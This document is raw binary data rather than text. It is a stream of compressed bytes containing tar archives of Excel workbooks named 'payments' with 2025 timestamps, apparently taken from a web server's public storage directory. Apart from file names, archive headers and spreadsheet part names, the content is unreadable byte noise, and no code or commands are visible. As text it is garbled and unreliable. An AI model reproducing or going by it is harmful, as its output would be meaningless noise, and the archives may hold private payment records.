�Ui��r{*f�UwF�bϴ5����8Չ6�jZ����[�|0�����<;�#J#�q�5�9AK��y�@I]�@EK������#�^�FVg��ж�گ^�N��gp�<iQ�?�|*�y�Ɯ>�G�-�P1��=�Y5��s[�u;ϕ"(7�#�6\v��>�!��yvzkx��aw��rM�\i�����`u��f�,�ٵ��+Y	
 ��œ�~+�.�l=9�y~�$9ꞀU!;n����
�s�(��";|�	�����;jaM?�5V�'�~}�(�]VD��e#�R�b؇sZ�L::���׻�Gma��.S���V�A�`��$��[��n�8eh�V����f�|w|S�?�6�+`+P�Ѹ����Z��*����"'�e��U��w��ʕ���!&F4����#�]<�(�c��a2��=\����Q�J79�j��R�;B,y��>�(�M��vd�%��Лg��ְ7>�����A�y���T3}�,��EҞ�-�-��h�ʟ�1's�9����*O��)(�S^��II�W�7�!�̓���U3��x[�T�w�}}�;�z��Hxtܻ����x��Z��>s
�͂W��^a��-��J��7�kވ�
s����bx��s���r����k�D��)�ƶ֖D:��į��Ĕ)e��Ly�2$��7�'��Zj�@�d�w�"���*U,ձ��[�J��&ث˝�@�S�Z���D��cK4|d���N��OE&zC�)��1f���5�N:��
����L��� Ἁw�	�[���1�	qu\I�e�z��^���m������G�)Ƞ�ZP�΁�)���}�ݻm��&��' ��z�G_ݼt���Z���ve��z$e�Xᤖ��?� �a%�A�v4�s�~�}�>�5YGO����^��ś��B|/�v������r8�bVR���l2!'t�{��*��g��ȩ%_\�_L�y�+d��lS�$�-��A3PB��6y]��m�����i��6l^��}O�����"��ev7���^!�VQ��C�~��
ץ#��c�P�GO�:r�`�&����i�\�sHfT������N(���w���+7<�@?,���R�b�C���3��\��P�L�t��cE���(Q}Eː ����z1uO@Zߡ���=�ײ���$�)�l߰���g��e>z��f@H8����h��2��`�~�ؾ[��R>�&kD?�DO$8+�͊!�8�i���V���D
����jF$艏�uM��S6�����qe`ھ�w���N@��aX�5o�}C
>hx�<�O�D^}�\�i�XUo�Y��텱�T�h2��h��jp�lҺh���s`�uڙ|���#.�bd���c@���Z�O�Ѹu��q��ᄀXڰI5ܟ@/{��7�eJ��$��
�UT�鵙���2l3^��D10�<7{�}������A�u?��o����1���p<�R�.gDs�dr��>n�:h�8ݪn����s�R��.�w��3vyz�
��e_5��V��I)n\:�S$ H�QH��f��VS]��?�'DZ��r��+�4S��j�U�|�����|�w�b��DV�f�Ө0�HW�~�.���Q��å��lM-n?����Ęqt�MVI��H��S���
i�MZ%3�X^��Aҏy=V�u���F��M}�	̤1LxN��~���e�C�@L�.R��$OO�J�i_q.��d��9Fc,�\�K3���	���X�z�EuOs 3��N�[+v��u��ĉ�x0O���2�7H!Ѓ��S�F��C�|�"��[�4ݐ};��Y�Ģ��d�;��j#�S�H+?����$)�h�;_��/�?�czN���;���f�i�iSwoݢ���ʇ>?MJI����ۖg�|P��[�T��� �hn��6�eA(v)}� KzG=��X���T��Mzcd/9��.��]��;�V�1�}�ko�#iqE�P�_H��^�c�Ű91���
p�F��In�)�}����SP��kL�X�PS�o���	�m�[n����|�aQ?��@Iȫ�%�|�^[����o��a
r�=U�?4�}k�xVԹ�%l�_�L����}e�6�'w��a�N���������Ƴl
}�����5��zJ=rd4�ęQx�ͽ_q_���a�����^^�����`2�.���5G��}@%��3�+�F}U�`�L�
�w��6�ĎA��L���<E�mC� �vH퀾<�_D��:A�G��Y#��wa��b�z�v�g[x�����B�(�T��$cD��/fC_��լ�L��ys%_���^9o�N�K��ci�}��%6�:��Ss�əu��1����Z�N��$�W�\��^��pB%:��S�e��L@5{>Å��I]�qx��^��4Ⱥ�.+��Aԫ�z��WS��{�7o�5��τ�㿆~ql��J����b9s�\��O��G�����{������$��޻�X�ZA��]m���,���Z�rmH��Ɲ��/U���2�&�n/�9Z'5�ߑb�&'ә�%Lq��j���6;�E��>:��뾟,Ԯ�A
nN���[�K	�§���jah/�nc��Z���(K�uJRT��j�H�P̠]�*nL��ϲ��8[�=X��5��Mϴ�8w����Yx>eם����F���9,ˏ��^<%4џaCHb(?s��_�.� 
���G���1��m��`�G�Mՠ`Z��*4��!���c�Ux�Ki#T=Sn�Σ�!A��YIv���)�����9=����U�&f���*��h��].���h��n���+�~��0K"|�~5p�˱�#��5��?�p�q��'#�Z�,~�V��6�p�I'Fz;&����u�՘��/e�;j<	p��W�9���Ƥ◤ЄX��q�y�z��a���"�u�KU�)o�\Yz�R�綪��K9�p��y�g:�(�%;h�X{M��%�51�F���ҍm�*�<bL�V�����}�ѭH�#�(�V�oi����L���dS�lT�(�nսʸ��0ij�;�	��_�"7��*Qu�Q�l�֫z +�%|D�y�{~|�u��X�.��:��\����b�k��ؤKbŞ��,n��/'bKZ��3���,dw�n��	#d"c��Dƶ�d��cRт�=.���D��cbd�r>���e0c��A�e�q�#�9TdȉB�Ǚ1�x��u�ZG��rpN��E	:N�U��{�:�Ӊ�)$���r�8��ʇ�}�b1�
.:�0_�R�MuoZ	�&���.�Ns���p�p��%�� �S�'6j���n5���=hY^ɝ�L����KT����6D62�h,��C~�
��ͼ7hAn]/c��ޚ�����N���k�I����|O,c]�ڎqpܝ�{-d���{����;b�Y�J����O�:��Pw޸�tUpj	�����g�HFZw�I��^R	Ö���S��4狩7`׊7��U`�R�F�X��[L�W�:nE"���6t�� p#�Wz�"Qe��{�0�̞�+)[~׏$�D�z��.��1H�e�^3ϱ=x�GT��$��4���v?�!M���3Z�4�V�ȓ�0������[�Ê�a�|��$�6Y�޷�lIO�f�ױZ2��@�A���K���F���nS�j?N��_���	�5G��$�g��_?�dW��.���՘fA��R�e>3^j���f�L�<͓��'���9~�"��-���%�O��E�-�P��-�k`�h���m�̆���^%��1�k~G�,�{��E8=�-���{��K�7j	O�������g���F��F�ʞSe�ì֥�7��V��,����8ф|��h73#�q�#:�P�+3�l����~�����4|�#
\zȰ�
�bs�=�u���]S�)����v��'�������u�뙟��[	~&�!�u�~d��}����W�k~�pAq.�u:��܍'Z^1푠�oD�9�y�V�`�Fou��Izό��yd.`��Г(��b|e(S�<�����
�d�<���A�#��u1�����GR9��<MuEt���&襆�����ˑ��A��t�~O�,FS�p{�S:�Ԋ�vȉ�d^?�������r�3�ͯF,���UqKsf83ݧ1m҄u�J�se7���a�u	�<(<�z����k�oVҫ�u9�΄k��l�^��� үX2�w�w�C���k�?מ���j�Y ������7Wg�`R�S|�7{���K�Rըv�kq�8�_��
zHu迾t�w����5T!�Vė�h�7���������0Ք�[�	���SC�/ߓw[�
0��f���X��8�F7��Ѹ�?�F�x�Z��I�S=	���͇�y��[�	��K�U�5�߰ K&!ρ�n��ʏ8eb����wSu̢��/�?[�$���ii��i'��Y�/��Ac�Y+Z��}��(��t�7�8;���?�{�\}P���a�G����Nɞ$a=���8a
Q�u�;r�v� �+:w�d<�RM:Q/;��FÞr��Ư�hZ�Hm�!�e��-�|���ج��R���LJX�Z:~A�~��������\���_��t~���&�b~u��]��[U�Ku�.����>�q��*Gw���4��eA$8�d{H�p��8��eW�kF9�!bS�����V�u�%��wh�Y�����k](�(e��g��9��+��k
���r�t����)��-��;G'�m{�l�Ո�+D�;�J�j��Q[U��e��)�01_�L�ݒ��[oKb-���띪}�Z�=�f7KV���j���v�L7O�6��nrQ{�w�rA��_����M�,����]�N�Ҙ-I:�/�y9v�KE��e��H���*�z���?�J�T"��C�:�,2�2s($�u�"�`�8���aKL��X+Z�b�U眆�niT7�ص�1WNMe������~�G�°aKr+�-���7
��V���iֶ��;�=�����6�j�WX����(�h���C��F���_|��t�3@�5�OB���7�ݟ��g���+�M�g���3�ʡ�zߔ�~����(���M��gw6,�_�E��<q�p��_n6�?#�n�̿���~v]$��5��|s+����7�_Qn.��Q�o���	������7q������m��vm��#�L"PK!/V�l&&,5dkj3p/payments 2025-07-16 15-16-08.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-16 15-16-08.xlsx000075500000017571000000000000020165 0ustar00PKz�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PKz�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PKz�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PKz�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PKz�Z*wݫrdocProps/core.xmlSV��QO�0��K_�h�2f"�'IL��km�P�ڦ�8���:"�����ӯ������U��+�g$1��F*�����CzC�\K^
3҂'��E!l.��'g,8T��>vFֈ6�ԋ5�܏BB�ø�c�nE-�:flJk@.9r�S;�)ŀ�[WE�*�A���(��,������#Y+l-�=�Cz��l�f�Lb4̟ѷ��s\5U��J))rဣq��h��d���+�q�P ���y�د�c@&a��_��N��R��*e�i6]fWy6���%c9c�'�#����?��@����W&�6�)�c��%x����h���o�?A`o"t���1N�26vT�K
���k{�:y��7PKz�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPKz�Z��f��xl/sharedStrings.xmlSV�V�N�@��)V>�Tc;qB��9���{����!vP{��B%���V�-�{�pq!q^a��$�6��e�QY��x�f���uq�mu���u��:%Ř�f;��R�Y.)�_�P
�T^u����=e�zT�<����Jʊ���5�[\��eoƭ���q�ղ������vy�[�m���et=�U�Ga
��ְ��
�/)yS��^�*�u���蜮x�Q�7茺ԧ�.�˷�2�&.�x��O���I�b�.�G���j裵Eͷ����;~H�n=9�{��"RG�]_��I�w
d.kɡ��ۖ���M=�S�YU7"�h�ԕ�32t;
��IБ!��N��2�'g�U�,��
K�x��L	�c��q�#�
��/�ס7*�yo)�B!-¸��)��{()�)���.�� �f��G2�_���9����ߢ׀~ɣ�1YHS�i��
Ƕ��B9Ɵ�3-�L>�nZf�\���M��n�-}X�(�>��b$z���N����n��&�L��Q��]'5�[��yɷ�3ȪY���Z�@"�P�}�)5�t��ML�^@�
�0���m9F�o'J�H�
��I�K�����%hy?�Y]��~�s�iO�R�c&�l���������C��2��Š!e$�䍬��>6f觼7�|.�}:#�p�`����Vb��.:�
?莺�!��t���pɻ�Wx]�.�	�N|3k�3,3�B�qQ�}�3��g�����DN�p�#:�OQ��	/Zm�FQA���PKz�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PKz�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PKz�Z�%���xl/worksheets/sheet1.xmlSV��]w�8��Wp��m�M��&�������n�	�6�� �I�Jۚk�ٛ4�W�G#YBӏ/��z�u��rf��Ķh��,/�3����m5<)��`%�ٯ��?���Y���P�-!p�TI*�UMZ?S[����p^]��M��ۤ���²b�6��^��dJi[���$o���.�h��*O邥�--y+R�"�O�&����K�&��N����x���G���6Okְ�lۅ��e<�A?_�o�/)��M�үmR��U�\%�<�E�_��mmӋ�u����(���Z'���ۻ)��SU���Vy�i��e�"�َyI���mE|���`{i;|��.��鸓�O�\��Y������\ܓHVQ5���ў-�<=҂��fJ[f�c���V��o6l��γ/"����Ѷ�;�_��FtL̒6�*)���X	�3۳���#g���W�(f��o[I��g�-���qζ�GjVqQ���oZ��U��O��-�ڪ�VI�t�ڵ��� r:���-Z`�#%��@o��GOFWɮ��
�F���v��>���	,�d�h(eE��Z�\,5�H��E�����l��Qh[O��K���t׈�l�t��_e�d[A���E�� �w��QЍF��w�A'������a'��<yN�n���N�d�n��������ɤӓ��Q�Ir�$�L�F��W�q���E“��f{K��8����r� r�He�,V��h����`2?K��ʢ���U�c���?����*G ������WqPmOc⺣�p�`�<Mۏ���nD�^�婠�J�\����C�g`��]h�Fԡ;`Dq�g�Ä�q1a݈lW��Cƅ��F2����"FK�H��}֍��O�[��CTu�����:�`��H
�dBQ�@C�&��� he�M` �ށ�AД?���0�PwE��
L�#�a�Pc��&���)h�	
Lö1�440j�0�h�i�G�t/u��r�
x�_�H���F&��	jd��j�Ɖ�D�DS���Ʀ46Q��7*֨:�46a�MXAH(ޛ؀5�ow�	k��r?6�U����Bu	�=����P-~��7��=�0.�Z_alB��F�g�Ad�o!]3֭����m�jPC�	�Ύ�	#ab$LL�I+�w�	o�����w�.^a�����%�8p5�8ugc���c��p:�$��N��s���'o����k�y���t���y_������J��t�-�[�3�+�P���
L��2��5�3��gD�!Fl8ޒ�$J��Jb��!|�|E�q�DŽ}a��a���	oS2���?��Ĕ��\�9Bp��`J���rW�)��(������t"N��Q`Z����w�DB#��DD7�}%	�@B�Q�����8���} gN/Dߣ����i����yD&�S�W�;�ԛD��k��gKu#�]c�����K�P�,k}��X%EC�S�#�ݗH锬�פ^�§�+a��İ���z��Y���7luGpxۨ�
�&~�V���K�+�UV�T�~�����9-��e�����4�_Dů��v�/�޻��U
?Ԫ݌��Z><�Z��ƳT�XY�Z�Z���e�ϴ<r8�y��c�
�g�7�>�&E�.eYG�+�OY��w;bh�g�ض���h�X]��G�e%C;��7�rt�o:����{�oI�+e���8oa�PKz�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PKz�ZG�D�Z� [Content_Types].xmlPKz�Z�78�K �_rels/.relsPKz�Z�$�V�� �xl/_rels/workbook.xml.relsPKz�Zad���E �docProps/app.xmlPKz�Z*wݫr �docProps/core.xmlPKz�Zs�{Y�� 'xl/theme/theme1.xmlPKz�Z��f�� 
xl/sharedStrings.xmlPKz�Z�A	�
 jxl/styles.xmlPKz�Z�U���v �xl/workbook.xmlPKz�Z�%��� �xl/worksheets/sheet1.xmlPKz�Z�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK��PK!Ķ��45dkj3p/payments 2025-05-30 07-55-52.xlsx.xlsx.tar.gznu�[�����ygPT۶n�s�,QP24�IM�s��M��$�9g�(�-9�&��(( 96��e�}ι���z��U���Z�f�V�c�9�7���x���ym=�y-�-x�=`n�6P^s^OG;K^s_'���;#?��
q�B� 7�������x!�/ǁ@��@>�~�7�@>#���?Ows��_����PWBC'�����r�2pC`�@�a�7�7�u����89j�թ#��@b�)d�[1.�
�	�!��7�e��hpD� ���3�%Ӝ- �6n�W<�B��p����r�嚛_ao�T�4c�u�5��wi��=%K[��El�>"*ꡑ���9�44��u������9�����U���C*Z�c1�x��dG?Dк��,�.��ntQ�DI�]��LC�(]����$���]�@R��'�T���̃�L��6y�Ib��3"D���/{}�����_h�N���{�K%~3W���s>s����Ri`�ʀ`��N$j}���pLNaӒK�(>9}�PK�.�!�P�:�G�5��������4�>�iq�������L�<��!��pP6	o�I	��	���ѝ���?<f�����-�/�{�'��d����5�5�%�M;w��o������R��0�_��s1�kyշc��i�|/���2sЀ�&\@nNϻՆ��k�܉�+|W
pF�3�ز�(�|�+;��C���!�i~��C�^�6^��!�����o׍�ۿ�f6F��L���nsͧ5�����r�莲G0'#!�hO~Zp>F�	��S���_�7��
��n.��'���D�}ѱ:��Fh�J��?��|����8��o�����G����'��]�Az*�'��!����l��.�:w�i�_`�U�e
�o�!�#Ք��j
9�7Tj�Ȟ
�_��}2z�����en�{K�Vp��-�%IE��e���O(���8R�;������˱'�lz�,�о㩽y�;5�˘;�
<�i�(v�bK~�(/M�����C�쪞R��"��@����(Fw�C�b�]b�-����j2Дig��zM�26PA�{���ᶓ̭���of2
 �q��R�
��GY��4�Ӓr��!�Q����l��"�n��h^SG�2l����5��{�ִ�m�z�$k7��?~�ֳhf�/�}:ߧG.��cB���T��(,|'�ϑ�루$����O�2��h�q/ǩ@��N�,�y��+�?Y7�`+Vl��[�׳u�փrjZ���Q�h�DU
�ҽ��b��
�$���Ti������ f��4u$v�h���G-r�L�V�k�2w�#��6������|�Q)W�S��ʊ�k��50���Y�p�j%��0�r���Q�v��<R�&ރ>�s�(q�3�
w�&Z��%-Q��l��Ȼˇ�T���RuԮ�$�.^�³�m�7�f��D�*���d�ç�n�"��5{�Γ�\� y�q;n���Kn7q#��ɯq���A���d
� ��Kr%�1�`�1~�pV�
�����څO�vD�
;~��潯A��5}��s�1�Ylc%f�����b���&+=�&�
am�
ar�
e���^NL�Sz��D>,��M/$HKc�6e[&:C�)�v���oG���ա�y1&?֌F�k|
`g�V�U(�{lMb�s-F��bU][�oslF���������^gvp�����2�A�7�O�â��4=�͑eE��lD͞�&�L�E���^�_Ǔ]���Yb3�#������n��89V�#S�F�-��CG�!�q}�~�5�j��%�a��9�y�Y��[o�N�.}9���a(�����D��<R�x.'�Ω�)6�#6�N��ȹ�i�������oЊ��s���@�P'�O��i�@
6���sO������"ٞ�I/# m'��(U�k0n�t�v��	��E�@nlҢ�R�;�r��n�]!h'��
�N�D�ht��H�N0�$�X>ʸKq/�Zv�ָ�K�S��Y���7�2��%����e,B�Ē�6YBK�6pd��)�:X�XT��I��a��:?�q�x�>�ur�N���>�n�S�?g?Kx�=JO�@���>�.�We��@0�e
/
y�aP"���b>p�$����)z��*k�d�uӖ^���k�Υ��<�Nڠ.O�����u1��A�p��>�3y��zy�����'ݍ�>�K�U�Fc��&+�:��F틆{��g�i'���wR$�CVyw�,�я�m��OѸ4Zq�e>��S-�[�Ě�'�+�簌���\`�U�dZ�Y�VL�xٯ�O4������=�9���w�s��f��x����5̞��8�=KW�B����m���g�5�O�19��V*Y;%�W��]�]�A鸿/Ad�����O�~
�']/����esA�G��)�ݟ���Z��x+g! 3h���B/c��%J��2�z�����<�t�qA�������S��Ϣ$����)�p��T�l`�$̂��f�zG�
�V}�q�$��A1Q�㡞J�󹐯j�I,mr0�k2�u�/0�V7)�83K�T�u�SLG��}�e3̂<+U,�sť�q�ɜ��^iԷ�L�����Q��KзM�dѪʃ9��t�c���6�2"��G��ѓ�z��}@`8_
k���(Så�V����35C�����RJ����ޯ��ئw�P¥�h�k�'��3�����̉�{����<�-�g-m\��E�uǕO���Ԣ����m�J@^�.+�(��@�nK��!x�I��-_�b�3���[�)���4�U�{BJ�����҂��3�J�0���b��!�ԡoqL|E�UQĊ��TӬ�ڤ�����@x��@f�oȐn1.J�{�_�R��bÅ�Z�/�j�f�`�;\RS�f�J^���}�S{x���\a��1��j�e܋��a�@~N���
�:v�)?J��9m
�����=�/���!��.����-"��K=n�R��3�p���o�R�����xU�'EF��$':߯���2�����z�χQ޷�k��@%f㙒��|	^�A�l?��]�������<���s���&v,��7M�$���ض�n��!u���\�y������d�@�A��R�$F+�4�����f�ǹ���D�E���6�nT�yP��0T��l��y��ꌇxy#��Ԯ���'��+/�ܣ�N���~6�ZMe��x�B��F����I��x�nٶi��0�G�y�ٮԕ���M���8��l�sZ���l��[*w>����(���I�
�vjbP�JF��c���]��O�=�`��=�T[h�fQ��i������nP+-7;g��E�#��d��ȋ
<l�3���s �Ow��R�����X�!��D@.��3�ۙ[:״�
�#L���\�Q��E����۟�ۉ1�+<�c����XCS�͌w�Űcߑ=��f����1ai�u�O��y�ʤ��	ʷ��O�V&2|bg�'㲖H����F���˩�>�����<��/�#��K�ց�$�GtT"eǴZ(�DPX������HH0�,_ڑ�'��ƶJ�
[�A�� S�_��_�TF��Aь�"�X�!>�(�T��ׅ�ߪ�u�i���/��w/=�>�~�j�n1�R���{�̶1=��δb�V�:���nT����<�gX��`�ߣ1E5z4
�d\�&*�Jѝ��^�E���a�����?�ӯ�O�z��Й��>�<��|��W�sI̵h6�L3⊠�̟z>|noe��sT��E��ӓn��&[7���I��c�>FX�11%k7
��J����vr|&�"ĹiE��&���#��Y1����#��;����1�33�L��lЬ�Ĝy%�褫�,�	����i��X’����%�x�B-~āNɠ���C������|����n������+��<sB�r�.+-�qQM�vѧ>@9̋J+7cH���K�d�IU�{�c����Y謕l~j�PR��m�*���%*�a
�ӊ� B�t2[�T=
o�/�0&0�Z��$B9�h6��]��z��+ �$q
1�D]k��\�\?En
.ٔ&\��e�\��1 p���m�D��N�`���x�qem-\T���-ni�t(Nħ�l����R	�j��TN�%Z������]?Rxk�NH��/X����u^y��
L��~DE���?ϾcO��&W��[P����-�"��d�z�}��#�� pZA2Y/{ T�r$�x���upə��|�x�G�J�)��ޢړ|��`Ճ�w�m	E���E{�����{LV�et�9h�+�Pɷ���:�yp�i�w/z٥�]'oS�Λ	�6��MQ�����7�6�dN����{I��#���/����_0yaj��uM���!�T��o[U���궄Yr�!��>�^^
�/<�<x���3��]&Ƙ��A�s�����E�q�mˬ�0�9�t���Ww��ߘx��^��l�+��>�I���Ný�n��-��H�s�3�c������;}EQ�qГ�'��OC*V�Fc��f
Rh�jT.t�^��d!ͽ6N���!�mp��dA˴��D�:�l.̳'�~2� ��l{v������ѷ�h�J9���Z-��D6X�8�Ǘ0�,�T��{�A�8���x���Nү9�ť�]#��_O�B��<�F
�j�s� ��,C_�])���; rNj</��{A�Ù	�%����.���F>S����{�R�Ա����m�t��a�w.�n�*9bK�c�{�V>�3�cW�����o=j�\�|P˸{5>�{	;�h�^�~ЬQ�w&�Ԓr�۾tR
,�?�x��C���vfH��D_�,51��g��-����׿{�<�y�ba‥�B �~���
�*�����׺�y%jdښҷ�FO���C�̞��-j�%֧����� o4زH���쫓���N�"ƅ`����eǙCC��s������>��>�5����s��4ҷ���
}�+Fv.�'^�Μ`�L���Y��{iR���	1V���͆��	F|JyI�`��B:8�(��U?���� d���죱�SSM���$6�|�$0È�ť��Y^���p�$X�_����{B����ylm����F�"]A��w}D��ӂc}[+!μ,��&
�u�Hq��tpww�
O�O�B����K]\���#ٞT��	f~9�x�}�n�8�`]�������tDk�1�&�y'��!(��ax&�\�k
oZN�-w�6_��F{�.�7��>qN��BK�Xh�5�*
��GK���</,ŕ��@��NJ4i��$����1ٜ��˓�T�k@�Xu`�D����{�H9�j��tDs��m��Whr<d�e���M>�vw=����ݲ��M瞊��QbB����C}ֻᖼT!�����
�D�Ga�F�%�z�U���fӨ�`?u*pЏ	tF���	Fvn�[R�Ͷ���à���[K�d5Ţ��u@<�q=�vE���%����?��?"C1�m�,a��ZHL���I�r[���8���}��RF�/��{���B ,��"|�M:�il�2�P������r$G�fd��C�'R��ă$M�^6Z��庻�
B�2�� [l���t_�J~*r��M���f�V_�}Ԉo������7��&��Ay��>�+g��$������G�=�o�9X�Ύ�(2N�(��Ϝ�}v��sv$��-.8-�Oi|#R�0fȎb��;y��!aT��g~�1`a����2���Ym��׼6���|�"ߣ�
��O�-ڏ��V*��Z��"���N޼�����ZS���{u���Fw�$�Ѽ+��E�?����2�:�
̿$T_�f'�[��)�y�z(W_@E����Y��qB
�0���d��7l�awi�.	��d��0���|���W\i̪���s[�#<�M����J=M����K2���e�N�R3i��ᱴ~\�w�K�iz�^#ƨ��@��n<����&SY
�/E��菆���H*����+
����k>#�]�Ɣ4�qhws3��
�����u��Z�J,!*1��T�)�g9�:�PL4��Il���w���͚��{�V�8�B���f��0�س��@JAnH�ϔT?����ARr�.
齓��&Ij(G�O���E�7ORZ��vT��k�+��
*�:&�����C��	n��$��"�nx[��հ�f�?+��ܖ����],���H��u�J���ߖ�~5g�����;��~�WJ�_vg�3�޴�� H�������WSG�ﻸߍo/����Dž�w����W[��Y�r2�+a`�a�wsM޸�>5�o����7��W�/B8��$PK!��`?��45dkj3p/payments 2025-07-18 12-09-53.xlsx.xlsx.tar.gznu�[�����zeTݶm��Np�n���n!@7���&8ww���� x��\9�9�&�߽��x�8�GW��UkV�5�^Uk�v1������;�X��X�8:ف��@,F��,����&,�F�6 ['G2vVv.&V&6^26v&V>&.f7kG7��j������㬬���X����9���C����1gG'#��%�_\�CS�������Fg�R�⵺�	4�����:=3o��nr4`v��V�*�?+���K\yIl2ɦ׾��:�Wz[M�1�`}uq%��4�:��X���j��Ik(Dk��	����I��q~q���D&�-��U�[Odk�fB�KT1Qc,D��#>��BQSb�[U]C�|��M�>��!���D$+��䁁@���+Ycv8Ҭj�U�a��mZJ�DA������1��/(}U��e��
⨬l*_�`⯿1��@�R&�5�؍�Ŝ姎�_����%�-��Q���x+rN���e$W1�u;{����Lnp�\��91�JKW�:6�VM*q'��MC5�x0iZ��S��tk$�����������	�a^�V�u����l�"����t�5���>�$	 =�aY;�0�����Q�^Vd�cO�<ϼ�wl�o>e7���MX�J�ig�s��i��J,P�
r�s'�"<>]�,�|1�RO�f��Tq�a�{�y-�V3���B��*bI��������T��gu;��3춟�Hz�`Ց
�uQ��7f�}�֛��l���j�2�x�����,�/��g��D��9BL{%!	��{a����ׁB.tBzm_Ȑ`.h��94=*��Mx��ݏ���{T��j4F��9*��Qq�f�+0�v`+c;;��i�K�����.~��Xs��+K�H篯wT� o-c�c�p��B�>.��|>ePz�7DI~�*�^}G���ۋs���oA�t4"5���>�61؛*FA��~�TB�UJA"d�‹�b��3�ţo\i�@7T�KP{HJ5��4�R��}��/a
�"vnd��2ߏ�f�a����6��W�o�Q����5לD���O�Bo�qG6bY
